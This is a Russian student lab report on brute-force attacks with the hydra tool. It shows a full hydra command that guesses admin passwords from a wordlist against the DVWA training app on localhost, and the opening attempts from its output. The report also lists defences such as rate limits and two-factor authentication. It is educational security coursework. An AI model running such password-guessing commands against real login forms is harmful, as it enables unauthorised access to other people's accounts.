

Индивидуальный проект - этап 3

Ларина Наталья¹

14 марта, 2025, Москва, Россия

¹Российский Университет Дружбы Народов

Цели и задачи работы

Цель лабораторной работы

Целью данной работы является изучение атак типа брут-форс и инструмента hydra.

Процесс выполнения лабораторной работы

Атака брут-форс (англ. brute force attack) — это метод взлома, основанный на последовательном переборе возможных комбинаций значений (паролей, ключей шифрования и т. д.), чтобы подобрать правильное значение и получить несанкционированный доступ.

Атаки брут-форс являются одним из самых простых, но эффективных способов взлома учетных записей, если системы не защищены должным образом.

Сильные пароли, ограничения на количество попыток входа и двухфакторная аутентификация могут значительно уменьшить вероятность успешной атаки.



Рис. 1: Страница веб-формы

Команда для запуска hydra

```
hydra -l admin -P /usr/share/dirb/wordlists/small.txt \  
localhost http-get-form "/DVWA/vulnerabilities/brute/ \  
:username=^USER^&password=^PASS^&Login=Login: \  
H=Cookie: PHPSESSID=f2q94tbasiksr9q31mlg9d4qum; \  
security=medium:F=Username and/or password incorrect." \  
-V
```


Результат подбора

```
user@mdlarsine:~$ hydra -l admin -P /usr/share/dirb/wordlists/small.txt localhost http-get-form "/DVWA/vulnerabilities/brute?username
="USER"&password="PASS"&login=Login:H-Cookie: PHPSESSID=f2q90tbasiksr9q3inlg90d4qum; security-medium:F=Username and/or pa
ssword incorrect." -v
WARNING!
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-14 08:24:07
[DATA] max 16 tasks per 1 server, overall 16 tasks, 959 login tries (l:1/p:959), ~60 tries per task
[DATA] attacking http-get-form://localhost:80/DVWA/vulnerabilities/brute?username="USER"&password="PASS"&login=Login:H-
Cookie: PHPSESSID=f2q90tbasiksr9q3inlg90d4qum; security-medium:F=Username and/or password incorrect.
[ATTEMPT] target localhost - login "admin" - pass "a" - 1 of 959 [child 0] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "00" - 2 of 959 [child 1] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "01" - 3 of 959 [child 2] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "02" - 4 of 959 [child 3] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "03" - 5 of 959 [child 4] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "1" - 6 of 959 [child 5] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "10" - 7 of 959 [child 6] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "100" - 8 of 959 [child 7] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "1000" - 9 of 959 [child 8] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "123" - 10 of 959 [child 9] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "2" - 11 of 959 [child 10] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "20" - 12 of 959 [child 11] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "200" - 13 of 959 [child 12] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "2000" - 14 of 959 [child 13] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "2001" - 15 of 959 [child 14] (0/0)
```

Рис. 2: Результат подбора

Выводы по проделанной работе

Мы приобрели знания об атаках брут-форс и инструменте hydra.